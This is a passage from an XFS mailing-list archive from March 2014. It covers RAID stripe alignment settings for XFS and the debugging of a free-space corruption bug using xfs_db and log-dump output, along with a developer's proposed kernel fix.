07:23:45 -0700 (PDT) X-Barracuda-Envelope-From: rvandolson@esri.com X-Barracuda-Apparent-Source-IP: 198.102.62.250 Received: from bash.esri.com (localhost [127.0.0.1]) by bash.esri.com (8.14.4/8.14.4) with ESMTP id s2DENh7G007865; Thu, 13 Mar 2014 07:23:43 -0700 Received: (from ray5147@localhost) by bash.esri.com (8.14.4/8.14.4/Submit) id s2DENhX0007863; Thu, 13 Mar 2014 07:23:43 -0700 X-Authentication-Warning: bash.esri.com: ray5147 set sender to rvandolson@esri.com using -f Date: Thu, 13 Mar 2014 07:23:43 -0700 From: Ray Van Dolson To: Stan Hoeppner Cc: xfs@oss.sgi.com Subject: Re: sw and su for hardware RAID10 (w/ LVM) Message-ID: <20140313142342.GA7582@esri.com> X-ASG-Orig-Subj: Re: sw and su for hardware RAID10 (w/ LVM) References: <20140311045639.GA18159@esri.com> <532046E9.9090302@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532046E9.9090302@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: Redlands.esri.com[198.102.62.250] X-Barracuda-Start-Time: 1394720625 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3841 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Wed, Mar 12, 2014 at 06:37:13AM -0500, Stan Hoeppner wrote: > On 3/10/2014 11:56 PM, Ray Van Dolson wrote: > > RHEL6.x + XFS that comes w/ Red Hat's scalable file system add on. We > > have two PowerVault MD3260e's each configured with a 30 disk RAID10 (15 > > RAID groups) exposed to our server. Segment size is 128K (in Dell's > > world I'm not sure if this means my stripe width is 128K*15?) > > 128KB must be the stripe unit. > > > Have set up a concatenated LVM volume on top of these two "virtual > > disks" (with lvcreate -i 2). > > This is because you created a 2 stripe array, not a concatenation. > > > By default LVM says it's used a stripe width of 64K. > > > > # lvs -o path,size,stripes,stripe_size > > Path LSize #Str Stripe > > /dev/agsfac_vg00/lv00 100.00t 2 64.00k > > from lvcreate(8) > > -i, --stripes Stripes > Gives the number of stripes... > > > Unsure if these defaults should be adjusted. > > > > I'm trying to figure out the appropriate sw/su values to use per: > > > > http://xfs.org/index.php/XFS_FAQ#Q:_How_to_calculate_the_correct_sunit.2Cswidth_values_for_optimal_performance > > > > Am considering either just going with defaults (XFS should pull from > > LVM I think) or doing something like sw=2,su=128K. However, maybe I > > should be doing sw=2,su=1920K? And perhaps my LVM stripe width should > > be adjusted? > > Why don't you first tell us what you want? You say at the top that you > created a concatenation, but at the bottom you say LVM stripe. So first > tell us which one you actually want, because the XFS alignment is > radically different for each. > > Then tell us why you must use LVM instead of md. md has fewer > problems/limitations for stripes and concat than LVM, and is much easier > to configure. Yes, misused the term concatenation. Striping is what I'm afer (want to use all of my LUNs equally). I don't know that I necessarily need to use LVM here. No need for snapshots, just after the best "performance" for multiple NAS sourced (via Samba) sequential write or read streams (but not read/write at the same time). My setup is as follows right now: MD3260_1 -> Disk Group 0 (RAID10 - 15 RG's, 128K segment size) -> 2 Virtual Disks (one per controller) MD3260_2 -> Disk Group 0 (RAID10 - 15 RG's, 128K segment size) -> 2 Virtual Disks (one per controller) So I see four equally sized LUNs on my RHEL box, each with one active path and one passive path (using Linux MPIO). I'll set up a striped md array across these four LUNs using a 128K chunk size. Things work pretty well with the xfs default, so may stick with that, but to try and get it as "right" as possible, I'm thinking I should be using a su=128k value, but am not sure on the sw value. It's either: - 4 (four LUNs as far as my OS is concerned) - 30 (15 RAID groups per MD3260) I'm thinking probably 4 is the right answer since the RAID groups on my PowerVaults are all abstracted. Ray From Morgan.Mears@netapp.com Thu Mar 13 09:48:02 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 85BCD7F3F for ; Thu, 13 Mar 2014 09:48:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 71FA5304043 for ; Thu, 13 Mar 2014 07:48:02 -0700 (PDT) X-ASG-Debug-ID: 1394722079-04cb6c567650ce00001-NocioJ Received: from mx11.netapp.com (mx11.netapp.com [216.240.18.76]) by cuda.sgi.com with ESMTP id 5ZC3ZBDMpmicomLL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 13 Mar 2014 07:47:59 -0700 (PDT) X-Barracuda-Envelope-From: Morgan.Mears@netapp.com X-Barracuda-Apparent-Source-IP: 216.240.18.76 X-IronPort-AV: E=Sophos;i="4.97,647,1389772800"; d="scan'208";a="108989537" Received: from vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) by mx11-out.netapp.com with ESMTP; 13 Mar 2014 07:47:58 -0700 Received: from SACEXCMBX06-PRD.hq.netapp.com ([169.254.9.198]) by vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) with mapi id 14.03.0123.003; Thu, 13 Mar 2014 07:47:58 -0700 From: "Mears, Morgan" To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Topic: Possible XFS bug encountered in 3.14.0-rc3+ X-ASG-Orig-Subj: RE: Possible XFS bug encountered in 3.14.0-rc3+ Thread-Index: Ac8+Lnd5ZrOBn3zKSZ2tAyiTTgiU/gAU2BeAABJJfbA= Date: Thu, 13 Mar 2014 14:47:58 +0000 Message-ID: <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <20140312230241.GE6851@dastard> In-Reply-To: <20140312230241.GE6851@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.106.53.53] Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx11.netapp.com[216.240.18.76] X-Barracuda-Start-Time: 1394722079 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3841 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... On Wed, Mar 12, 2014 at 07:03:14PM -0400, Dave Chinner wrote: > On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: >> Hi, >>=20 >> Please CC me on any responses; I don't subscribe to this list. >>=20 >> I ran into a possible XFS bug while doing some Oracle benchmarking. My = test >> system is running a 3.14.0-rc3+ kernel built from the for-next branch of >> git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git >> on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). >>=20 >> The XFS instance in question is 200 GB and should have all default >> parameters (mkfs.xfs /dev/mapper/). It contains Oracl= e >> binaries and trace files. At the time the issue occurred I had been >> running Oracle with SQL*NET server tracing enabled. The affected XFS >> had filled up 100% with trace files several times; I was periodically >> executing rm -f * in the trace file directory, which would reduce the >> file system occupancy from 100% to 3%. I had an Oracle load generating >> tool running, so new log files were being created with some frequency. >>=20 >> The issue occurred during one of my rm -f * executions; afterwards the >> file system would only produce errors. Here is the traceback: >>=20 >> [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 160= 2 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 >=20 > So, freeing a range that is already partially free. The problem > appears to be in AG 15, according to the repair output. >=20 >> https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadum= p-before-repair.gz >=20 > AGF 15 is full: >=20 > xfs_db> agf 15 > xfs_db> p > magicnum =3D 0x58414746 > versionnum =3D 1 > seqno =3D 15 > length =3D 3276783 > bnoroot =3D 1 > cntroot =3D 2 > bnolevel =3D 1 > cntlevel =3D 1 > flfirst =3D 0 > fllast =3D 3 > flcount =3D 4 > freeblks =3D 1 > longest =3D 1 > btreeblks =3D 0 > uuid =3D 00000000-0000-0000-0000-000000000000 > lsn =3D 0 > crc =3D 0 >=20 > And the one free block (other than the minimum 4 on teh AGFL) is: >=20 > xfs_db> p > magic =3D 0x41425442 > level =3D 0 > numrecs =3D 1 > leftsib =3D null > rightsib =3D null > recs[1] =3D [startblock,blockcount] 1:[3119876,1] >=20 > But: >=20 > data fork in ino 940862056 claims dup extent, off - 11, start - 58836692,= cnt 1 > correcting nextents for inode 940862056 > bad data fork in inode 940862056 > would have cleared inode 940862056 >=20 > the block number here is in AG 14, which has much more free space: >=20 > xfs_db> p > magicnum =3D 0x58414746 > versionnum =3D 1 > seqno =3D 14 > length =3D 3276783 > bnoroot =3D 1 > cntroot =3D 2 > bnolevel =3D 1 > cntlevel =3D 1 > flfirst =3D 42 > fllast =3D 45 > flcount =3D 4 > freeblks =3D 2092022 > longest =3D 2078090 > btreeblks =3D 0 >=20 > which is in 2 extents: >=20 > xfs_db> a bnoroot > xfs_db> p > magic =3D 0x41425442 > level =3D 0 > numrecs =3D 2 > leftsib =3D null > rightsib =3D null > recs[1-2] =3D [startblock,blockcount] 1:[102466,13932] 2:[116476,2078090] > xfs_db> convert agno 14 agbno 102466 fsb > 0x3819042 (58822722) > xfs_db> convert agno 14 agbno 116476 fsb > 0x381c6fc (58836732) >=20 > and so 58836692 is just short of the second free space. Looking at > all the other dup extent claims, they a remostly adjacent to the > left edge of these two free spaces. No surprise - that's the way > allocation occurs. >=20 > So, we've got a state where the allocation btree contains a > corruption, so a shutdown occurs. The log has captured that > corruption when it was made, so log recovery reintroduces that > corruption. And so when the extent is freed after log recovery, the > corruption is tripped over again. >=20 > There's two checkpoints in the log, both very small. The last > modification to AGI 14 is there before it: >=20 > BUF: cnt:2 total:2 a:0x669350 len:24 a:0x6693d0 len:128=20 > BUF: #regs:2 start blkno:0x15dff891 len:1 bmap size:1 fl= ags:0x2800 > AGF Buffer: (XAGF) > ver:1 seq#:14 len:3276783 =20 > root BNO:1 CNT:2 > level BNO:1 CNT:1 > 1st:42 last:45 cnt:4 freeblks:2092020 longest:2078090 >=20 > As is the freespace btree buffer modification: >=20 > BUF: cnt:2 total:2 a:0x669460 len:24 a:0x6694e0 len:128=20 > BUF: #regs:2 start blkno:0x15dff898 len:8 bmap size:1 fl= ags:0x2000 > BUF DATA > 0 42544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 200000= 0=20 > magic =3D BTBA > level =3D 0 > numrecs =3D 4 > leftsib =3D NULLFSBLOCK > rightsib =3D NULLFSBLOCK > rec[0] =3D 0x162cb, 1 (90827,1) > rec[1] =3D 0x17cfc, 2 (97532,1) > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 500000= 0=20 > rec[2] =3D 0x19047, 0x3667 (102471,13927) > rec[3] =3D 0x1c6fc, 0x1fb58a (116476,2078090) >=20 > so, from the pre-recovery case above, we've got two new freespaces > in rec[0-1], rec[2] has 5 blocks removed from the left edge, and > rec[3] is unchanged. >=20 > Confirming the ABTC buffer contains the same extents: >=20 > BUF: cnt:2 total:2 a:0x669570 len:24 a:0x6695f0 len:128=20 > BUF: #regs:2 start blkno:0x15dff8a0 len:8 bmap size:1 fl= ags:0x2000 > BUF DATA > 0 43544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 200000= 0=20 > magic =3D CTBA > level =3D 0 > numrecs =3D 4 > leftsib =3D NULLFSBLOCK > rightsib =3D NULLFSBLOCK > rec[0] =3D 0x162cb, 1 (90827,1) > rec[1] =3D 0x17cfc, 2 (97532,1) > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 500000= 0=20 > rec[2] =3D 0x19047, 0x3667 (102471,13927) > rec[3] =3D 0x1c6fc, 0x1fb58a (116476,2078090) > 10 8ca0100 8000000 71ff3100 5000000 71ff3100 5000000 71ff3100 500000= 0=20 > 18 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 71ff3100 500000= 0=20 >=20 > It does. So the btrees contain consistent information, and so it's > unlikely that we have a free space btree corruption in the log. So > let's look at what was freed: >=20 > The EFI/EFDs in the log are: >=20 > EFI: cnt:1 total:1 a:0x668670 len:32=20 > EFI: #regs:1 num_extents:1 id:0xffff881496024af0 > (s: 0x38162cb, l: 1)=20 > EFD: cnt:1 total:1 a:0x6684d0 len:32=20 > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024af0 > .... > EFI: cnt:1 total:1 a:0x667da0 len:32=20 > EFI: #regs:1 num_extents:1 id:0xffff8814960244b0 > (s: 0x3817cfc, l: 1)=20 > EFD: cnt:1 total:1 a:0x65fbd0 len:32=20 > EFD: #regs: 1 num_extents: 1 id: 0xffff8814960244b0 > .... > EFI: cnt:1 total:1 a:0x669250 len:32=20 > EFI: #regs:1 num_extents:1 id:0xffff881496024000 > (s: 0x3817cfd, l: 1)=20 > EFD: cnt:1 total:1 a:0x6692d0 len:32=20 > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024000 >=20 > These are all in ag#14, and have agbnos of 0x162cb, 0x17cfc and > 0x17cfd. This corresponds exactly to the two new records in the AG > btree. The one remaining EFI doesn't have an EFD in th elog, so this > is what is being replayed: >=20 > EFI: cnt:1 total:1 a:0x669f40 len:32=20 > EFI: #regs:1 num_extents:1 id:0xffff881496024640 > (s: 0x3869ff9, l: 1)=20 >=20 > Which is at agbno 0x69ff9 (434169). That's off to the right of the > start of the last freespace range in rec[3]. rec[3] starts at > 0x1c6fc and ends at 0x1fb58a. That means this efi clearly lands > inside that freespace range - it's not an edge case, it's deep in > the interior of the freespace range. >=20 > The inode logged just before the EFI - likely it's owner: >=20 > INO: cnt:2 total:2 a:0x668040 len:56 a:0x667fb0 len:96=20 > INODE: #regs:2 ino:0x3862d698 flags:0x1 dsize:0 > CORE inode: > magic:IN mode:0x81b0 ver:2 format:2 onlink:0 > uid:1001 gid:1001 nlink:0 projid:0 > atime:1394495104 mtime:1394495104 ctime:1394554526 > flushiter:1 > size:0x0 nblks:0x0 exsize:0 nextents:0 anextents:0 > forkoff:13 dmevmask:0x0 dmstate:0 flags:0x0 gen:-12199887= 6 >=20 > Is an unlinked inode that has had all it's block removed. Yup - it's > on the unlinked list: >=20 > agi unlinked bucket 24 is 6477464 in ag 14 (inode=3D946001560) >=20 > So, prior to recovery, what did it contain? it's got 287 bytes of > date, and a single extent: >=20 > u.bmx[0] =3D [startoff,startblock,blockcount,extentflag] 0:[0,59154425,1,= 0] >=20 > xfs_db> convert fsb 59154425 agno > 0xe (14) > xfs_db> convert fsb 59154425 agbno > 0x69ff9 (434169) >=20 > Ok, so the corruption, whatever it was, happened a long time ago, > and it's only when removing the file that it was tripped over. > There's nothing more I can really get from this - the root cause of > the corruption is long gone. >=20 > Cheers, >=20 > Dave. > --=20 > Dave Chinner > david@fromorbit.com Thanks Dave. Upon restarting my testing I immediately hit this error again (or a very similar one in any case). I suspect that the corruption you've noted was not properly repaired by xfs_repair. I captured all the same data as before, as well as an xfs_metadump from after the xfs_repair. If you're interested, it's all in this tarball: https://dl.dropboxusercontent.com/u/31522929/xfs-unlink-internal-error-2013= -03-13-1.tar.gz Regards, Morgan From tinguely@sgi.com Thu Mar 13 10:03:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9BD217F4E for ; Thu, 13 Mar 2014 10:03:37 -0500 (CDT) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay2.corp.sgi.com (Postfix) with ESMTP id 58401304043; Thu, 13 Mar 2014 08:03:34 -0700 (PDT) Message-ID: <5321C8C5.2020506@sgi.com> Date: Thu, 13 Mar 2014 10:03:33 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: "Mears, Morgan" , Jie Liu , "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <5320D4FE.3070002@sgi.com> <20140312230631.GF6851@dastard> In-Reply-To: <20140312230631.GF6851@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/12/14 18:06, Dave Chinner wrote: > On Wed, Mar 12, 2014 at 04:43:26PM -0500, Mark Tinguely wrote: >> On 03/12/14 15:14, Mears, Morgan wrote: >>> I was unable to umount, even with -f; failed with EBUSY and couldn't unbusy >>> as the fs was unresponsive (and happens to contain the Oracle management >>> tools necessary to close all open descriptors). Accordingly I rebooted. >> >> You are the second person in 2-3 weeks to hit this unmount issue. >> Unmatched EFI in the AIL keeps the unmount from completing. >> >> Jeff are you still looking at this? > > I'd say the answer is no. Last time you pointed out this problem I > last asked you to provide patches to fix the problem, mark. Can > you please provide patches to fix this, Mark? > > Cheers, > > Dave. Ah, you wanted me to fix the cil_push error issue that leaks ctx and does not wake up the waiters. This is only a side issue to that. We can easily patch the xfs_bmap_finish() and xlog_recover_process_efis() code. I have that patch and tested it. But it does not cover the cases of a cil push error nor the successful xfs_bmap_finish() and the EFI is in the AIL but the EFD is discarded. The most correct thing to do is clear the EFI from the AIL in the abort paths of xfs_efd_item_committed() and xfs_efd_item_unlock(), but those will be called many times and would be overkill. A less correct but easier would be clear the EFIs from the AIL once in xfs_unmountfs() after the last force of the log and before the xfs_ail_push_all_sync(). Since the EFI are removed very late, then we don't have to special case the removal in xfs_bmap_finish() and the xlog_recover_process_efis(). This is why I was waiting to see what Jeff wanted to do. If I hear no strong objection, I intend to put the clearing EFI on the AIL for each situation: the abort cases of the efd iop routines, in xfs_bmap_finish() and the xlog_recover_process_efis(). --Mark. From bpm@sgi.com Thu Mar 13 10:31:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8BC437F3F for ; Thu, 13 Mar 2014 10:31:49 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 411CA304039; Thu, 13 Mar 2014 08:31:49 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id C44384266DC; Thu, 13 Mar 2014 10:31:48 -0500 (CDT) Date: Thu, 13 Mar 2014 10:31:48 -0500 From: Ben Myers To: "Mears, Morgan" Cc: Dave Chinner , "xfs@oss.sgi.com" Subject: Re: Possible XFS bug encountered in 3.14.0-rc3+ Message-ID: <20140313153148.GV1935@sgi.com> References: <33A0129EBFD46748804DE81B354CA1B21C0DC77A@SACEXCMBX06-PRD.hq.netapp.com> <20140312230241.GE6851@dastard> <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <33A0129EBFD46748804DE81B354CA1B21C0DDBAE@SACEXCMBX06-PRD.hq.netapp.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Thu, Mar 13, 2014 at 02:47:58PM +0000, Mears, Morgan wrote: > On Wed, Mar 12, 2014 at 07:03:14PM -0400, Dave Chinner wrote: > > On Wed, Mar 12, 2014 at 08:14:32PM +0000, Mears, Morgan wrote: > >> Hi, > >> > >> Please CC me on any responses; I don't subscribe to this list. > >> > >> I ran into a possible XFS bug while doing some Oracle benchmarking. My test > >> system is running a 3.14.0-rc3+ kernel built from the for-next branch of > >> git://git.kernel.org/pub/scm/linux/kernel/git/device-mapper/linux-dm.git > >> on 2014-02-19 (last commit 1342f11e713792e53e4b7aa21167fe9caca81c4a). > >> > >> The XFS instance in question is 200 GB and should have all default > >> parameters (mkfs.xfs /dev/mapper/). It contains Oracle > >> binaries and trace files. At the time the issue occurred I had been > >> running Oracle with SQL*NET server tracing enabled. The affected XFS > >> had filled up 100% with trace files several times; I was periodically > >> executing rm -f * in the trace file directory, which would reduce the > >> file system occupancy from 100% to 3%. I had an Oracle load generating > >> tool running, so new log files were being created with some frequency. > >> > >> The issue occurred during one of my rm -f * executions; afterwards the > >> file system would only produce errors. Here is the traceback: > >> > >> [1552067.297192] XFS: Internal error XFS_WANT_CORRUPTED_GOTO at line 1602 of file fs/xfs/xfs_alloc.c. Caller 0xffffffffa04c4905 > > > > So, freeing a range that is already partially free. The problem > > appears to be in AG 15, according to the repair output. > > > >> https://dl.dropboxusercontent.com/u/31522929/xfs-double-free-xfs_metadump-before-repair.gz > > > > AGF 15 is full: > > > > xfs_db> agf 15 > > xfs_db> p > > magicnum = 0x58414746 > > versionnum = 1 > > seqno = 15 > > length = 3276783 > > bnoroot = 1 > > cntroot = 2 > > bnolevel = 1 > > cntlevel = 1 > > flfirst = 0 > > fllast = 3 > > flcount = 4 > > freeblks = 1 > > longest = 1 > > btreeblks = 0 > > uuid = 00000000-0000-0000-0000-000000000000 > > lsn = 0 > > crc = 0 > > > > And the one free block (other than the minimum 4 on teh AGFL) is: > > > > xfs_db> p > > magic = 0x41425442 > > level = 0 > > numrecs = 1 > > leftsib = null > > rightsib = null > > recs[1] = [startblock,blockcount] 1:[3119876,1] > > > > But: > > > > data fork in ino 940862056 claims dup extent, off - 11, start - 58836692, cnt 1 > > correcting nextents for inode 940862056 > > bad data fork in inode 940862056 > > would have cleared inode 940862056 > > > > the block number here is in AG 14, which has much more free space: > > > > xfs_db> p > > magicnum = 0x58414746 > > versionnum = 1 > > seqno = 14 > > length = 3276783 > > bnoroot = 1 > > cntroot = 2 > > bnolevel = 1 > > cntlevel = 1 > > flfirst = 42 > > fllast = 45 > > flcount = 4 > > freeblks = 2092022 > > longest = 2078090 > > btreeblks = 0 > > > > which is in 2 extents: > > > > xfs_db> a bnoroot > > xfs_db> p > > magic = 0x41425442 > > level = 0 > > numrecs = 2 > > leftsib = null > > rightsib = null > > recs[1-2] = [startblock,blockcount] 1:[102466,13932] 2:[116476,2078090] > > xfs_db> convert agno 14 agbno 102466 fsb > > 0x3819042 (58822722) > > xfs_db> convert agno 14 agbno 116476 fsb > > 0x381c6fc (58836732) > > > > and so 58836692 is just short of the second free space. Looking at > > all the other dup extent claims, they a remostly adjacent to the > > left edge of these two free spaces. No surprise - that's the way > > allocation occurs. > > > > So, we've got a state where the allocation btree contains a > > corruption, so a shutdown occurs. The log has captured that > > corruption when it was made, so log recovery reintroduces that > > corruption. And so when the extent is freed after log recovery, the > > corruption is tripped over again. > > > > There's two checkpoints in the log, both very small. The last > > modification to AGI 14 is there before it: > > > > BUF: cnt:2 total:2 a:0x669350 len:24 a:0x6693d0 len:128 > > BUF: #regs:2 start blkno:0x15dff891 len:1 bmap size:1 flags:0x2800 > > AGF Buffer: (XAGF) > > ver:1 seq#:14 len:3276783 > > root BNO:1 CNT:2 > > level BNO:1 CNT:1 > > 1st:42 last:45 cnt:4 freeblks:2092020 longest:2078090 > > > > As is the freespace btree buffer modification: > > > > BUF: cnt:2 total:2 a:0x669460 len:24 a:0x6694e0 len:128 > > BUF: #regs:2 start blkno:0x15dff898 len:8 bmap size:1 flags:0x2000 > > BUF DATA > > 0 42544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 2000000 > > magic = BTBA > > level = 0 > > numrecs = 4 > > leftsib = NULLFSBLOCK > > rightsib = NULLFSBLOCK > > rec[0] = 0x162cb, 1 (90827,1) > > rec[1] = 0x17cfc, 2 (97532,1) > > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 5000000 > > rec[2] = 0x19047, 0x3667 (102471,13927) > > rec[3] = 0x1c6fc, 0x1fb58a (116476,2078090) > > > > so, from the pre-recovery case above, we've got two new freespaces > > in rec[0-1], rec[2] has 5 blocks removed from the left edge, and > > rec[3] is unchanged. > > > > Confirming the ABTC buffer contains the same extents: > > > > BUF: cnt:2 total:2 a:0x669570 len:24 a:0x6695f0 len:128 > > BUF: #regs:2 start blkno:0x15dff8a0 len:8 bmap size:1 flags:0x2000 > > BUF DATA > > 0 43544241 4000000 ffffffff ffffffff cb620100 1000000 fc7c0100 2000000 > > magic = CTBA > > level = 0 > > numrecs = 4 > > leftsib = NULLFSBLOCK > > rightsib = NULLFSBLOCK > > rec[0] = 0x162cb, 1 (90827,1) > > rec[1] = 0x17cfc, 2 (97532,1) > > 8 47900100 67360000 fcc60100 8ab51f00 71ff3100 5000000 71ff3100 5000000 > > rec[2] = 0x19047, 0x3667 (102471,13927) > > rec[3] = 0x1c6fc, 0x1fb58a (116476,2078090) > > 10 8ca0100 8000000 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 > > 18 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 71ff3100 5000000 > > > > It does. So the btrees contain consistent information, and so it's > > unlikely that we have a free space btree corruption in the log. So > > let's look at what was freed: > > > > The EFI/EFDs in the log are: > > > > EFI: cnt:1 total:1 a:0x668670 len:32 > > EFI: #regs:1 num_extents:1 id:0xffff881496024af0 > > (s: 0x38162cb, l: 1) > > EFD: cnt:1 total:1 a:0x6684d0 len:32 > > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024af0 > > .... > > EFI: cnt:1 total:1 a:0x667da0 len:32 > > EFI: #regs:1 num_extents:1 id:0xffff8814960244b0 > > (s: 0x3817cfc, l: 1) > > EFD: cnt:1 total:1 a:0x65fbd0 len:32 > > EFD: #regs: 1 num_extents: 1 id: 0xffff8814960244b0 > > .... > > EFI: cnt:1 total:1 a:0x669250 len:32 > > EFI: #regs:1 num_extents:1 id:0xffff881496024000 > > (s: 0x3817cfd, l: 1) > > EFD: cnt:1 total:1 a:0x6692d0 len:32 > > EFD: #regs: 1 num_extents: 1 id: 0xffff881496024000 > > > > These are all in ag#14, and have agbnos of 0x162cb, 0x17cfc and > > 0x17cfd. This corresponds exactly to the two new records in the AG > > btree. The one remaining EFI doesn't have an EFD in th elog, so this > > is what is being replayed: > > > > EFI: cnt:1 total:1 a:0x669f40 len:32 > > EFI: #regs:1 num_extents:1 id:0xffff881496024640 > > (s: 0x3869ff9, l: 1) > > > > Which is at agbno 0x69ff9 (434169). That's off to the right of the > > start of the last freespace range in rec[3]. rec[3] starts at > > 0x1c6fc and ends at 0x1fb58a. That means this efi clearly lands > > inside that freespace range - it's not an edge case, it's deep in > > the interior of the freespace range. > > > > The inode logged just before the EFI - likely it's owner: > > > > INO: cnt:2 total:2 a:0x668040 len:56 a:0x667fb0 len:96 > > INODE: #regs:2 ino:0x3862d698 flags:0x1 dsize:0 > > CORE inode: > > magic:IN mode:0x81b0 ver:2 format:2 onlink:0 > > uid:1001 gid:1001 nlink:0 projid:0 > > atime:1394495104 mtime:1394495104 ctime:1394554526 > > flushiter:1 > > size:0x0 nblks:0x0 exsize:0 nextents:0 anextents:0 > > forkoff:13 dmevmask:0x0 dmstate:0 flags:0x0 gen:-121998876 > > > > Is an unlinked inode that has had all it's block removed. Yup - it's > > on the unlinked list: > > > > agi unlinked bucket 24 is 6477464 in ag 14 (inode=946001560) > > > > So, prior to recovery, what did it contain? it's got 287 bytes of > > date, and a single extent: > > > > u.bmx[0] = [startoff,startblock,blockcount,extentflag] 0:[0,59154425,1,0] > > > > xfs_db> convert fsb 59154425 agno > > 0xe (14) > > xfs_db> convert fsb 59154425 agbno > > 0x69ff9 (434169) > > > > Ok, so the corruption, whatever it was, happened a long time ago, > > and it's only when removing the file that it was tripped over. > > There's nothing more I can really get from this - the root cause of > > the corruption is long gone. > > > > Cheers, > > > > Dave. > > -- > > Dave Chinner > > david@fromorbit.com > > Thanks Dave. > > Upon restarting my testing I immediately hit this error again (or a very > similar one in any case). I suspect that the corruption you've noted was > not properly repaired by xfs_repair. There are some kinds of corruption that xfs_repair was finding but not repairing until commit 